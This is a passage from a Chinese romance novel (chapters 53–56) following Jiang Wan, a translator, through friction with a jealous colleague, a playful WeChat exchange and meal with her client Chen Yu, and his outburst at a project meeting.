可方简简却不这么想:“怎么可能呢,你在项目组待了这么长时间,就算听他们聊天,也该听出个大概了吧。” 姜挽垂下眼睫,重新往包里装东西:“我真的不知道,况且就算知道的话,这些也属于项目机密,是不能够泄露的。” 方简简不高兴了,脸色沉下来,一屁股坐在凳子上,力道太大,撞上桌角,好大一声响。 “我等了你这么久,你就用这两三句话打发我?” 姜挽愕然,蹙眉看着她,有些不大适应她的这种说话方式。此刻方简简的语气,用词,还有神态都很奇怪,凌厉中带着尖酸,和她以前甜美温柔的形象简直判若两人。 有什么东西在姜挽脑中一闪而过,但她没多想,主要是她也不想怀着恶意来揣测别人:“可是我早上就和你说过了,这些我真的不知道,况且我也没让你等我。” 方简简急了,她一着急,甚至都忘了掩饰,“腾”的一下从凳子上起身,眼神冷刀子似的朝姜挽飞过来:“也不知道你在清高个什么劲,你不过是运气好罢了,碰上尼斯度假村这个项目,才能在陈总面前露面。论能力和外貌,我都不比你差,要是这个项目安排我来做,我不一定会比你做的差。” “你说什么?” 如果说刚才姜挽还是猜测,那这会儿,她基本可以断定了,工作了这么些年,她虽不会主动和别人起矛盾,但基本的职场规则还是明白的。 她停下手上的动作,毫不露怯地和方简简对视:“那不如让我来问问你,你这么好奇尼斯度假村项目的信息,又是因为什么呢?” 一瞬间,方简简的眼中有凶光闪过,但很快,她又恢复如常,端上了平时的那股笑意,嗲嗲地和姜挽解释:“我还能因为什么,不过是问着玩儿罢了,你看你,我开个玩笑,你还生气了,”说着,她去挽姜挽的手臂,“我心直口快的,你大人有大量,可不准和我生气啊。” 姜挽没回答,而是直接从她手中抽出手臂:“我真得回去了。” 她走了,办公室只剩下方简简一人,这下,她再也不用装了。 “啪”的一声,桌上的文件被她全都扫到了地上,整个样子愤怒又癫狂,哪里还有半分平日里的温柔样子。 从办公室出来,姜挽还有点没从刚才的事情里出来,一来是因为方简简的奇怪,二来,则是对她这个人的心寒。 有些东西就是这样,原本被一层泡沫包着可能看不太出来,但一旦捅破,粉饰破碎,里面的东西便会像散落的珠子一般,一个一个地接连跳出来。 姜挽想起来,这其实已经不是方简简第一次问尼斯项目的事情了,自从知道她在这个项目组,便总是会旁敲侧击地和她打听,只是以往都没有今天这么明显罢了。 而且,她也不止一次地表达过对姜挽能在这个项目组的羡慕,还有,她对陈屿的关注貌似也有些过头了…… 其他的姜挽不清楚,但方简简对尼斯项目组感兴趣几乎是可以肯定的了。或许,她还想要更多…… 今天一整天太累,姜挽实在没精力思考这些东西,恰好地铁来,她跟着人流上去,没有座,找了个能站着的角落,姜挽从口袋里拿出手机。 鬼使神差地,她点进了陈屿的朋友圈。 其实没报什么希望的,毕竟他们刚开始加上微信那会儿,姜挽就看过他的朋友圈,干干净净,一条分享都没有。 可这会儿再看,虽说还是仅三天可见,可那满屏的照片和分享却让她觉得惊讶,差点还让她以为进错微信了。 退出去,再点进来,确认是陈屿没错。 姜挽一条条往下看,陈屿发朋友圈的频率很高,每天基本都会有3—4条。有时是风景,有时是路上的随拍,还有的时候甚至只是家里的一角。每条之间没什么联系,也很随意,但能看出来,是对他真实生活的分享。 姜挽不禁感叹,还真是看不出来啊,他那么一个冷情冷意的性格,没想到私下竟然会这么喜欢分享生活。 突然,其中有一组关于猫的照片,吸引了姜挽的注意。她点开去看,是一只通身浅灰色的小猫,颈侧有一块白色。大大的蓝眼睛,圆圆的脸颊,看着镜头时很安静,温和又乖顺。 看起来,陈屿应该也是很喜欢它的,一连好几张都是怼脸拍,其他几张虽没怼着,但也能看出来是把它抱在怀里的,因为那几张照片里都能看到他骨节分明的大掌。 也是因为这几张照片,让姜挽想到了小酒,它也很乖。以前姜挽喂它吃东西时,它也是这么乖顺又温和地看着她,没事的时候,就安安静静地趴在她脚边。 可她当初走得那样急,甚至都没来得及安顿好它,这么多年了,也不知道它如今过得怎么样。要是遇到一个好人家还好,要是没遇上,姜挽简直不敢想象它的遭遇。 眼眶很酸,她眨了一下,“啪嗒”一声有东西落在屏幕上,姜挽才意识到她哭了,连忙拿手去擦。 这么多年,她其实很少哭,关于她自己的,好像怎么样都能忍。可一旦涉及到她在乎的东西,比如之前的陈屿,再比如现在的小酒,控制情绪貌似就没有那么容易了。 地铁里开始播报到站信息,该换乘了。姜挽正打算关掉手机,突然微信里跳出来一条消息,她点开去看,差点被这突如其来的消息吓死,竟然是陈屿发来的,没有前因后果,也没有任何寒暄,只有大大的几个字:【姜挽,你视奸我???】 看到这句话,姜挽的大脑有一瞬间的发懵,但她很快反应过来,应该是刚才看他朋友圈的时候,不小心留下了什么证据。 地铁到站了,换乘的人很多,她被人群推着出去,也是心虚吧,姜挽第一时间不是去回他的微信,而是再次点进他的朋友圈,果不其然,在小猫那条,她看到自己点了一个赞。 肯定是刚才擦屏幕的时候不小心点到了…… 姜挽没犹豫,重新点进那条朋友圈,径直在那个“赞”上点了取消。 【你以为取消了,就能当作什么事都没发生吗?】 【怎么,不说话?想以此蒙混过关?今天这件事你必须给我一个说法!!!】 一条条的,全是陈屿发过来的质问消息,姜挽都不敢看。这是他们加上微信后的第一次联系,没想到竟然会是这种情形。 虽然“视奸”这个词确实有些重了,但她刚才偷看他朋友圈的行为,貌似就是这样的。 一直到上了另一趟地铁,姜挽才敢回复他:【抱歉,刚才在地铁上。】 【地铁上影响回复吗?】陈屿回得很快,很明显是一直等着的。 其实不影响,但姜挽不会说,刚才的几分钟,也是她给自己的缓冲和调整时间:【影响的,信号不好,而且我刚才是在换乘。】 这次,过了很久,陈屿那边才再次回复,像是下了很大的决心似的:【好,你回复慢的事情我可以不和你计较,但关于你偷偷“视奸”我微信这件事,你今天得给我一个解释!】 刚才事发突然,陈屿又一副“兴师问罪”的语气,姜挽一时间有些被唬住了,这会儿冷静下来,脑子也变得灵活多了。 第一,他发出来,就是给大家看的,作为他的微信好友,她自然也就会看到。所以,她不用陷入陈屿的指责里,对自己的行为产生愧疚感。 第二,微信没有“访问记录”的功能,也就说明陈屿那边不会知道她是单独点进了他的朋友圈,就说她是在查看的时候顺便看到的,应该也说得过去。 所以,这两点分析下来,姜挽也有了不少底气。 【抱歉,我真的没有,只是在查看朋友圈的时候不小心点到了,您用“视奸”这个词,会不会有点太严重了。】 见她没有被唬住,陈屿有点不高兴,但他也有后手,“大义凛然”地再次回复:【你点赞的这条是我两天前发的,这么久远的动态都能被你翻出来,你还说自己没有,你觉得我会信?】 关于这点,姜挽还真能解释:【陈总,您可能不知道,我平时没有刷朋友圈的习惯,一般都是两三天才刷一次,所以一次看的内容可能会有点多。】 又被怼了,陈屿看着手机里发过来的消息,很是懊恼,可他也知道,自己刚才那样说,其实也挺站不住脚的。 眸光一闪,他突然想到另外一件事,于是立马转移话题:【姜挽,你到底有没有把我说的话放在心上?】 姜挽觉得莫名:【什么?】 【不是说了,以后不工作的时候不要用“您”或者“陈总”来称呼我,你这么快就忘了?】 …… 【好吧,我记住了,以后不会了。】 陈屿趁机压上一步:【这么一点小事你都办不好,你要我怎么相信你刚才说的话?】 感觉哪里怪怪的,但姜挽一时又说不上来。 陈屿也知道怪,这种强词夺理的说辞,就是要以迅雷不及掩耳之势,趁对方没反应过来的时候一股脑说出来,才能让对方相信。 所以,他也不等姜挽的回复,再次敲字:【你自己好好反思反思吧,看你今天这种行为,到底有没有道理!】 【还有,这条不用回复,我很忙,没时间总处理你这些事!】 姜挽一边觉得无语,一边又觉得庆幸,这些问题,就算陈屿让她回复,她也是不知道该如何回复的。 第54章 纠结 次日周六, 姜挽还在睡梦中,便被手机的振动声吵醒,迷迷糊糊中她解锁去看,是陈屿发来的, 貌似是在问她“有没有反思好”之类的问题。 她昨天太累, 晚上又加班弄了会儿翻译, 上床睡觉时已经凌晨两点多了。考虑到今天不上班, 她特意没有定闹钟, 所以这会儿完全是被陈屿的微信吵醒的。 虽然脑子还不是特别清醒, 到底反思什么事情她也没全部想起来,但潜意识里,姜挽也知道甲方爸爸是不能得罪的。于是, 眯着一只眼, 她开始费力敲字, 什么痛定思痛, 下定决心,以后绝对不会再犯之类的假大空话, 她发了一大段过去。 消息发过去, 她原本以为就可以清净了,正打算闭上眼睛再眯一会儿, 没想到手机铃声这时却突然响了, 竟然是陈屿直接打了电话过来。 打字可以不在乎形象,可电话不能, 姜挽立马一骨碌从床上爬起来, 迅速清了清嗓子,划开接听键,她原本是想叫“陈总”的, 脑子里突然闪过陈屿昨天的话,也是这一下,让姜挽彻底清醒陈屿到底是要她反思什么了。 “喂。”因为不知道叫什么,她干脆不叫。 “你发那么多字我看不清,要是反思好了,你当面和我说。”陈屿从不迂回。 “当面?现在吗?”姜挽挠了挠自己的头发,真是难搞。 “不行吗?”陈屿反问她,“我去见一个客户,刚好路过你家附近,你二十分钟后下来。” 姜挽看着自己当前这副邋遢样,她还没起床:“会不会太麻烦了,要不周一再说?” “怎么,你不方便?约了人?” 隔着电话,姜挽也能感觉到他的语气不大好,她妥协:“没有,我二十分钟后下去。” 挂了电话,她重重地叹了口气,可也没有别的办法,还是从床上爬了起来。 时间不够,又加上她心情也不大好,姜挽索性不做任何打扮了,洗漱完成,连护肤都没做,随意套了一套休闲装就下楼了。 陈屿时间观念很强,说是二十分钟,只要没有特殊情况,他一般都不会迟到。他今天换了车,一辆黑色奔驰大G,姜挽之前没见过,她也是通过停车的位置辨认出来的。 走近了,陈屿降下车窗,没和她打招呼,而是先取下墨镜,上下把她扫视了一番。他虽没开口,但表情已经很明显了,是嫌弃她这身穿搭。 姜挽本来觉得没什么的,但被他这么一打量,心里也有点打鼓:“时间太短了,我没来得及收拾。” 陈屿淡淡看了她一眼,收回视线:“上车。” “啊?” “怎么?你打算就站在这反思?” “那倒不是。” 她上车,正纠结该如何自然地开启话题,陈屿却在她之前开口:“你刚起床?” 姜挽假装不是:“不是,起床有一会儿了。” 陈屿没拆穿她,刚才微信里的那一段全是错别字,电话里她的声音更是还带着鼻音。 “先去吃饭。” “啊?” 陈屿像是被她“啊”烦了,抬起手表:“你也不看看现在几点了,你不饿,我还饿了呢,这会儿没精力听你反思。” 为了让这件事听起来更加合理,他又给自己安了一个理由:“还有,上次的饭是你请的,我这人最不喜欢欠别人人情。” “可上次的那顿是为了感谢你帮我找到耳钉的。”姜挽小声辩解。 “在我这没区别,我不喜欢占别人便宜。”说罢,陈屿发动车子,“不过既然今天都已经来到这边了,就给你个机会吧,这顿就由你来选地方。” 既然让她来选,姜挽就不想跑太远,况且她下午还有工作要做,也得早点回去。 “您……”话开口,她连忙打住,“你有什么忌口的,或者特别的指示吗?” 陈屿挑眉,觉得她终于上了点道,终于不再是那个“您”了:“没有,既然说了你选,你定就行。” “好,那我看看。”姜挽心里其实已经有想法了,但她还是装模作样地拿出手机,翻看了几下。 “路边摊你介意吗?我知道有一家味道还不错。” “随你。” 虽说路边摊陈屿不介意,可他也没想到能路边到这种程度。吃饭的地方在居民巷里,车开不进来,陈屿只得把车停在附近的停车场,再和姜挽一起步行过来。 七拐八拐,绕来绕去,终于在一家小餐馆门前停了下来。那门脸小的,稍微一个不注意就会错过。装修更是简陋,甚至可以称之为没有,只玻璃门上方用塑料做了一个横牌,写着“马大姐家常菜”几个字,其中“家”还掉了几笔,一看就是年久失修。 到门口,陈屿却不愿意进去了,他停步,皱眉,用一股毫不掩饰的嫌弃语气开口:“你确定这里是吃饭的地方?” “确定,”姜挽大概知道他的顾忌,于是很真诚地和他解释,“可能从外面看是简陋了点,但里面很干净,而且味道也很不错。” 陈屿还是不大信:“以你现在的生活状态,还能有什么好的品味?” 换言之,你现在都过得这么差了,还能吃出什么好东西来。 姜挽愣住,先是尴尬,继而脸颊两侧迅速升起一片红,那是一种被戳中心事后的自然防御反应,胆怯,自卑,还带着脆弱的坚强。 “你要是不喜欢这里,其实你可以直说的,我们可以换个地方的,或者这顿饭不吃也行,但你没必要这么侮辱我。” 顷刻间,陈屿的心里猛地一阵刺痛,他想说他不是这个意思,他想和她道歉,可话到嘴边,又不知该如何开口。 害怕她一气之下真的离开,陈屿索性先迈步,拉开玻璃门,丢下一句:“来都来了,懒得再找了。” 陈屿刚进门,便立马吸引了屋内所有人的目光。一来是因为他的穿着打扮,全套手工定制西装搭配黑色皮鞋,还有袖扣和领带,在这种小地方,从来没出现过这种品味的男人。二来则是他那张脸,身姿孤拔,气质卓然,五官精致得犹如精雕细琢的艺术品。长着这样一张脸,不论在哪儿,都必然会是全场的焦点。 一时间,屋内原本喧闹的气氛瞬间安静下来,周围齐刷刷的目光全都在他身上打量,连老板娘都觉得惊讶:“小伙子,你是不是来错地方了?” 陈屿刚打算开口,一道纤细的身影突然从他背后冒出来,是姜挽,熟络地和老板娘打招呼:“没走错,他和我一起的。” 见到姜挽,老板娘明显自然了许多:“嗐,原来是你呀,你这孩子,也不早说,我还以为是哪个明星来拍广告的呢。” 说罢,老板娘扯着姜挽的衣袖,把她拉到一边,用只有她们两个人能听到的声音,八卦道:“小姜,这帅哥是谁呀?不会是你男朋友吧?” “不是,不是,”姜挽赶紧解释,“是我们公司的合作甲方。” “合作方来这吃饭?”老板娘明显不信,但也没再追问,笑着朝她眨眼睛:“今天坐哪儿?还是老位置吗?” 老位置指的是最里面那个角落的地方,姜挽以前一个人来的时候都是坐那里,可今天不行,她朝周围看一眼,大家的注意力明显还在陈屿身上,要是真坐那儿的话,今天这顿饭就别想清净了。 “楼上还有包间吗?”她问。 “本来没有了,但因为是你,我腾也得给你腾出来一间,”老板娘性格很好,笑起来自带一股爽朗,“赶紧带着你男朋友,哦,不对,你的合作方上去吧,最里面那间。” 姜挽在前,陈屿在后,两人按照老板娘的叮嘱,很快便来到最里面的那间包厢。 陈屿没来过这种地方,有些拘谨,倒是姜挽很自然:“你喝什么?”她问他。 因为刚才无意间说的那句话,陈屿后来一直都没敢再开口,这会儿姜挽问他,他才敢看着她,徐徐动嘴:“和你一样就行。” “我喝茶。”姜挽像是在和他确认。 “可以。”陈屿给她答复。 茶水倒出来,缭绕一段茶烟擦过姜挽的面颊,还有微微的淡香,陈屿看着她,像在看一个梦:“你经常来这儿?” “嗯,来过几次。” “一个人?” “嗯。” “下班后吗?” “不是,下班时间来不及,一般都是周末。” “那你……” 陈屿还想再说什么,包间的门突然从外面被推开,是老板娘来了,来让他们点菜,同时也端了两盘小零食,是她自己做的。 “今天吃什么?还是和之前一样吗?”她笑着问姜挽。 “主要看他,”姜挽把菜单递给陈屿,“你看看,有没有什么想吃的?” “不用看,”陈屿接过,却没打开,转而面向老板娘,“就她平时吃的那些就行。” “没问题。”老板娘在手里的单子上做笔记,她看出来了,这两人之间不是很热情,但要说只是单纯的业务合作关系她不信,看他们二人之间这个丝丝缕缕的别扭劲,反倒更像……更像是正在闹别扭的小情侣。 她提醒他们:“因为小姜平时是一个人吃,点的少,所以今天要是你们两个人的话,估计不够,我再帮你们加两个特色菜。” 姜挽没问题,她没问题,陈屿自然也就没问题。 “对了,今天是小姜第一次带朋友过来,我再送你们一份凉菜,饭后再加一个甜点。” 送不送的,陈屿根本不在乎,只是对方这个热情爽朗的性格让他动容。很真挚,很鲜活,那是一种在高级餐厅体会不到,摆脱了精致餐具和牛排红酒后的真真切切的市井生活气。 确定好菜单,老板娘要走,姜挽却突然叫住她,叮嘱道:“对了,马姐,我们的菜里都不要放花生。” 她以前来吃饭的时候是没有这个要求的,这次突然提出来,想必是和旁边这个小伙子有关。 老板娘了然地朝她笑笑:“好嘞,知道了,稍等一会儿,很快就好。”说完,她便离开了包间。 陈屿见她还记着这件事,以为她忘了,于是便开口:“我已经不对花生过敏了。” 哪知姜挽却答:“我知道啊,只不过过敏这种事还是小心点为好,以防万一。” 一瞬间,陈屿心底早已干涸的那部分突然间仿佛活了过来,像是回到莽撞的少年时,回到了这么多年他都不敢触碰的那段回忆。 她刚才的那句话,他是不是可以理解为,她是在关心他? 他说了难听的话,她不仅没有和他计较,还惦记着他的过敏,主动叮嘱老板娘不要放花生,这种感觉很久没有过了,太陌生了,以至于让陈屿都有些无所适从。 好在菜上得很快,尤其是凉菜,才暂时缓解了陈屿这种无措的情绪。接着是热菜,四菜一汤,都是家常菜。 家常,却并不普通。 确如姜挽所言,这里每道菜的味道都很好,红烧排骨鲜嫩,小炒肉细腻,番茄鸡蛋酸甜,还有清炒时蔬的清香。 除了食材本身的味道外,吃这些菜,似乎还能从中感觉到一种朴素和真实,像是家的味道。 只不过,整顿饭吃下来,他们两人的话却很少。除了偶尔夸两句菜的味道,再提两句不痛不痒的话题,其他便没有了。 吃完饭,陈屿取了车,打算先送姜挽回去。车上,两人又随便聊了两句,但都没提“反思”的事儿,像是都已经忘了他们今天这场见面是因为什么了。 到地方,姜挽下车,陈屿掉头离开,一场原本好好的碰面,他也不知道为什么,最后就搞成了这样。 陈屿没回家,而是直接上内环去了市区的方向,还是那家酒吧,他到的时候,孟云程已经到了。 见陈屿阴沉着脸进来,孟云程不怕死地开口:“大白天的约我喝酒,怎么,见不到姜挽来这发疯?” “不是,”陈屿猛灌一口酒,鼻尖到颌骨形成的线条锋利又锐气,“刚把她送回去。” “那是见到了,”孟云程挑眉,身体前倾,端起酒杯也喝了一口,“那你今天这副要死不活的样子又是因为什么?她不搭理你?还是你又把她惹生气了?” 从进来到现在,陈屿没主动说过一句话,更没提一句姜挽,可孟云程就是知道,他这状态,百分百和姜挽有关。 陈屿没回答,阖着眼,指腹轻轻按着太阳穴,看起来很是疲惫。 “你倒是说呀!”孟云程虚虚踢了他一脚。 陈屿还是不吭声。 他就是这样,不想说的话,一句都撬不出来,孟云程都打算放弃了,却突然听到身旁传来一声黯淡的叹息,无奈,还带着悲怆:“我好像不知道该怎么和她相处了。” “不是,你什么意思?”孟云程拧眉,很不理解,“什么怎么相处?心里怎么想,就怎么做呗!” 陈屿觉得他不懂,主要他自己也不懂。 他和姜挽如今是什么关系,今后又该如何,远一点,近一点,和她保持距离,还是该近一步,他不清楚,而且也害怕。 因为他看不透她的心,害怕八年前的事情会再次重演。 孟云程看他这个黯淡的样子,真是不忍心:“要不,你换个人试试吧。之前是因为她没回来,你一直有幻想,现在回来了,见也见了,说也说了,要是真觉得还是不合适的话,就真没必要再继续纠缠了。” 他举起酒杯去和陈屿碰,虽然知道他不爱听,可还是坚持说完:“这样,说不定对你,对她,都是好事。” 陈屿从没想过这种可能性,突然听到孟云程这么说,心中全是抵触,他一次性把酒喝完,潇洒起身:“走了。” 孟云程愕然:“不是吧,你他妈刚来就走?而且还是你约的我!” “你他妈去哪里,不会又是击剑吧?” 陈屿背对他挥手。 “靠,我真服了!” 第55章 误会 周末很快过去, 北城进入八月底。这个时候的天气已经没那么热了,气温有所降低,晨起时偶有微风,还会觉得凉。 洗漱, 吃早餐, 再到公司楼下买一杯咖啡, 姜挽基本保持着和在佳译一样的工作习惯, 也因为如此, 她一般都比其他同事到的早。 可今天很奇怪, 她到的时候,方简简已经在了。 长裙配平底鞋,还是那副人畜无害的清纯打扮, 见姜挽进来忙起身, 不对, 准确来讲, 她就是专门在等姜挽的,才会在她进门后一眼就注意到了。 “我给你带了咖啡, 专门排了十分钟队买的, ”方简简边说,边把咖啡放在姜挽桌上, “是你喜欢的口味。” 姜挽没接, 朝她扬了扬自己手中的杯子:“谢了,不过我已经买了。” “那吃水果, ”说着, 方简简又把一个装着各式果切的长方形盒子打开,“补充维生素。” 她在向她示好,姜挽知道, 是因为周五的那件事,姜挽也清楚。 可有些话说了就是说了,她也不是职场小白了,既然已经知道了,就不可能再心无芥蒂地回到之前,能做到心平气和地维持表面和谐就可以了。 “谢谢,不过我早上没有吃水果的习惯。” “你不要咖啡,也不吃水果,是不是还在怪我?”方简简咬着唇,一双大眼睛无辜地眨着,要不是上周五亲眼见识了她真实的样子,姜挽几乎都要信了…… 她本来不想再提那件事的,可既然方简简主动提了,她也就干脆明说:“不会,工作里面出现摩擦是难免的,既然已经说清楚了,就不存在怪不怪的,我们以后各自把握好分寸就好。” “你这么说就还是在怪我了,”大眼睛里开始蓄泪,似乎下一秒就会落下来,“我已经和你解释过了,我当时真的是太着急了,才会说出那样的话,真的不是我的本意。” 方简简爱缠人,姜挽以前就知道,但她以为只是在一些无伤大雅的小事上,没想到在这种正事上,她也喜欢用这套。 “我也说过了,我不怪你,”马上就到上班的点了,姜挽今天还有一堆事,没时间和她耽误,“别多想了,先上班吧。” 她没上当,谈崩了。 眼见着自己的目的没达到,方简简也不打算再装了,妒忌,愤怒,憎恨,乱七八糟的情绪瞬间堵在胸口,她一抬手,把那杯咖啡和那盒果切全都扔进了垃圾桶里,力道之大,发出“咚”的一声响,引来远处其他同事的侧眸。 姜挽离得这么近,当然也听到了,但她自始至终都没有回头。 “装什么啊,真是给脸不要脸!” “一个外派翻译而已,还真以为自己能够飞上枝头当凤凰?” “愿意和你说话是看得起你,真是搞不清自己的位置!” 尖酸的话语,刻薄的语气,姜挽还是没有回头。 她这会儿也不知道自己是该庆幸,还是该伤心。庆幸的是,她提前看透了方简简这个人,伤心的也是,她看透了方简简这个人。 从这天以后,方简简对她的态度就变了,冷漠孤立,故意为难,时不时还会和其他人说两句她的坏话,好几次从茶水间擦肩而过的刹那,姜挽都听到了。 她原本以为,大家都是成年人,有些事情提前说清楚,划好界限,会更容易工作,但事实证明,她错了。 但姜挽倒是也不后悔,这种人,只要还有接触,类似事情的爆发不过就是早一天晚一天的区别罢了。换句话讲,早发现总比晚发现要好。 但与之同时,她和另一位同事林瑜之间的接触却增多,两人的距离也在不知不觉间拉近。 起因是因为方简简又打算故意为难她,原本可供两人同时使用的打印机,她却故意霸着,姜挽没和她计较,打算等她弄完再去。 恰巧被从旁边经过的林瑜看见了,一把拿过她手中的文件,硬怼方简简:“你打印,她扫描,两人互不相干,凭什么得等着你弄完她再弄?” 方简简像是很怕她,虽不情愿,可以没敢多说什么,磨蹭着还是把位置让了出来。 回到座位,姜挽和她道谢,哪知林瑜却冷冰冰的,对她的道谢根本不在乎,只是提醒她:“面对她这种人,你这样早晚吃亏。” “我知道,我只是不想闹得太难看,互不干涉就行。” “你这样想,未必她也这么想。”林瑜还是那副不怎么爱搭理人的样子。 姜挽这才注意到,她对方简简的评价似乎不大好,回忆起她来GSC的这段时间,记忆里,她就没见这两人说过话。 姜挽突然想起来,她刚来的时候,方简简曾经和她提过几句林瑜,她当时是怎么说的来着,说她脾气差,性格古怪,一张口就是怼人,让她不用搭理她。姜挽当时还信了,可现在再回想,有没有可能是林瑜一开始就是因为看透了方简简的为人,所以才会如此冷漠呢。 纷纷扰扰,恍恍惚惚,原来她以前都是隔着一层滤镜在看事情。 “你好,我叫姜挽。”时隔这么久,这个迟来的自我介绍才算正式到来。 林瑜意外的别扭,像是不习惯,可也给出了回应:“林瑜。” 姜挽看着她,想了想,还是开口:“你和我之前了解到的,似乎有些不大一样。” 这句话一出,林瑜笑了,是那种很轻的,微微牵动唇角的笑:“你了解到的,”她复述,“你是从哪里了解到的?从方简简嘴里?” 被她猜对了,姜挽点头。 “你不说我也知道是她,而且,我大概也能猜到她会和你说些什么。” 接着,她开口,脾气差,性格古怪,爱怼人,每个词,都和姜挽之前听到的一模一样。 “原来你都知道?”姜挽诧异。 “我当然知道了,”她又笑了,还是那种笑意不达眼底的笑,“不仅我知道,用不了多长时间,你也会知道的。”林瑜环顾四周,“她对你的看法,还有这里所有人对你的看法。” 姜挽想说不用以后,她现在就知道了,可林瑜说完话后便转身了,明显是不想再继续了。再加上她也不是话多的性格,话题到这,也就算是结束了。 只不过她刚才最后的那句话,还是在姜挽脑子里多转了会儿。林瑜这是在提前给她警醒,让她对接下来方简简的攻击也好,谣言也罢,多少有个准备。 不过姜挽想的就相对简单一些,她和方简简不在一个项目组,也没有实际的利益冲突,只要她注意些,和她井水不犯河水,能顺利完成尼斯项目的翻译就行。其他的,她也不在乎。 微信突然有消息闪过,姜挽忙回神去看,是尼斯项目组的微信群,通知说因为上周设计图的事情,本周的例会改到今天上午十点,提前把接下来的工作计划安排下去。 九点四十五分,姜挽提前到会议室,好几个同事已经到了,可能是因为上周的事情解决得很顺利,这会儿大家心情都不错,正互相打趣。 见姜挽进来,几个年纪稍长的便把话题转到了她身上,因为这段时间的相处,她们和姜挽已经很熟了:“Annie,你有男朋友吗?” 此话一出,在场其他人的视线瞬间也都移到了姜挽的身上,似乎都很好奇,翘首以盼等着她的答案。 其实没有,但在工作中,有时候就是需要一些掩饰。为了刚好地开展工作,避免不必要的麻烦,很多时候,不回答,不反驳,其实就是最好的回答。 果然,姜挽刚保持沉默,便立马有人开口:“早告诉你了,Annie长得这么漂亮,怎么可能没有男朋友,这下你可以死心了吧。” “可不是嘛,”最开始开口的人惋惜道,“真是可惜了,我有个亲戚,条件很好的,北城本地人,刚从国外留学回来,父母都是高知。本来想介绍你们认识的,可现在知道你有男朋友了,看来是没机会了。” 姜挽尴尬地笑了笑,没接她这话。 还有其他人想说点什么,门口突然传来一声轻咳,大家立即回头,这才注意到原本关着的玻璃门不知何时已经开了。 角度,光线,还有窗外的日光,都让姜挽在这个位置能清晰看到门外的身影,是周海,还有站在他旁边一言不发,面色冷沉的陈屿。 “看来,你们尼斯项目组很闲?”陈屿开口,那么亮的灯,也遮不住他眼神里的冷。 一瞬间,会议室进入静默模式,冷意一层层压上来,没人敢再随意开口。 第56章 争吵 “还好, 还好,也是因为上周设计图的事情刚解决,大家松了一口气。” 周海出来打圆场,陈屿却一点面子都不给, 径直走到主位, 拉开凳子, “啪”的一声将手中的文件摔在桌上:“本来就是弥补错误的事情, 有什么好松一口气的?还是说你们这个项目组的风气一直就是如此?” 此话一出, 在场的人全都愣住了, 与其说是惊讶,不是说是惊恐更为合适。 一直以来,尼斯度假村项目都不在GSC的重点项目名单里, 这点大家都知道, 可陈屿对它的重视却又是有目共睹的。 从最开始的定标, 到中间的立项, 再到如今项目例会,每次的会议陈屿都参加, 每次的进展他也都关注。更别说还有后来的加班晚餐和对他们项目组犯错后的宽容了, 桩桩件件都在表明他对这个项目组是重视的,是不一样的。 可如今不过是一点无伤大雅的小问题, 陈屿却突然间发了这么大的火, 一时间,大家都猜不透, 仿佛之前的那些都是错觉。 难道真是他们误会了?还是这中间发生了什么他们不知道的事情? 大家都有点懵, 便把目光投向了周海,这个他们认为最有可能知道内情,也最有可能是陈屿重视他们这个项目的关键人物。 大家都希望他能出来说点什么, 来解答大家的疑惑,来缓和陈屿的愤怒,可周海和他们一样,也是一头雾水。 但硬着头皮,他也得上:“陈总,是不是我们哪里没达到您的要求?您直说,我们立马改。” 陈屿没回答,因为只要张口,就是迁怒。 “还是说……” 陈屿拧眉,打断他:“先开会。” 这场会,可以说是尼斯项目组自成立以来,经历最难,遭受炮火最多的一次。不管是项目,还是负责项目的个人,每一个都遭到了陈屿全方位的“点评”。关键他的每一句话又一针见血,让人没有任何反驳的余地。到此大家才知道,原来之前他在会上说的“不发表意见”是真的不发表而已。 一个小时过去了,视线所及之处皆是一张张垂头丧气的面容,可陈屿还是觉得心里有火,这股从刚才听到他们说“姜挽有男朋友”就已经烧起来的无名火。 愤怒,嫉妒,悲伤,还有很多类似的情绪在胸腔里翻滚,这些情绪他很熟悉,而且这些年他也一直都是与它们相伴的。 陈屿习惯了,也可以压抑的。 可当视线扫到角落里的姜挽时,他此刻突然就不想再忍了。 她很漂亮,他觉得漂亮,其他人也会觉得漂亮。他会被吸引,其他人自然也会被吸引。 一滴,两滴,他似乎听到了下雨的声音。陈屿这才意识到,原来八年前那场雨,在他心里从来就没有停过。 他突然变得烦躁:“我再强调一次,这里是公司,是工作的地方,不是你们随便八卦或者聊天的地方。我不管你们私底下是有男朋友,还是已经结婚了,希望你们以后都不要再拿到公司里来说,因为没人愿意听,更没人会在意!” 劈头盖脸的一阵宣泄,说完后,他特意看了姜挽一眼,这才从会议室离开。 他一离开,便立马有人开始窃窃私语:“陈总这是怎么了?怎么突然间发这么大的火?” “是啊,以前在会上虽说称不上多和善,可也从没发过这么大的火啊,一直以来我还以为陈总是个脾气很好的人,今天才发现竟然看错了。果然,能做到这种级别的领导,是不会那么轻易就被我们这些小啰啰看透的。” “谁说不是呢,不过陈总发起火来还真是吓人,就刚才,他摔东西那下,不夸张地说,我的心脏差点都跳出来了。” 说来说去,也没人说到陈屿今天为什么会发火的原因,有人直接抛出问题:“那你们知道陈总今天为什么突然发火吗?知道的话,赶紧说出来,我们以后也好避开啊。” “不知道,”众人摇头,“不过听他最后那句话的意思,应该是和大家聊八卦有关系,反正以后我们在公司还是尽量少聊些八卦吧。” 此话一出,众人的目光瞬间便来到了姜挽身上,因为刚才陈屿进来时,他们恰巧在聊她的八卦,被陈屿听到的,也正是这个。 尴尬,无奈,还有抱歉,大家面面相觑,于是很快便收回视线,沉默地离开了会议室。 姜挽其实也有点懵,一直以来,陈屿虽然对她态度不算好,可从来没有这么凶过。刚才的他,除了生气,其实更多的是愤怒,像是被触到了逆鳞,整个人气场都变了。看来,八卦这个东西,他是真讨厌。 姜挽虽对他的方式觉得有点震撼,可对他处理这件事的出发点还是认可的,毕竟确实如他所言,她们来这里是来上班的。 姜挽回到办公室的时候,方简简正和其他几位同事在聊天,聊的内容听不见,但只看她的表情,眉飞色舞,手舞足蹈,就知道必然是什么热闹的话题。 见她进来,方简简睨着目光扫了一眼,而后旋转椅子,当即转身。力道之大,连路过的风里,似乎都被带起了一阵不怀好意的震荡。 姜挽对她这样已经见怪不怪了,自从之前把话题说开后,方简简便一直都是如此。不过这样也好,两人井水不犯河水,她没精力,也没时间去关注这些。 姜挽拿了水杯朝茶水间走,方简简却在她身后跟了上来。接完水,姜挽正打算走,转身的刹那,突然和方简简迎面撞上。 低声的一句,伴随清晰的讽刺,瞬间飘进她的耳朵里:“听说,陈总今天在会上发火了,还是因为你的原因?” 姜挽退后两步,端着水杯,垂眼看着她。她比方简简高,所以即便此刻并没有咄咄逼人的气势,整个人看起来也是稳的。 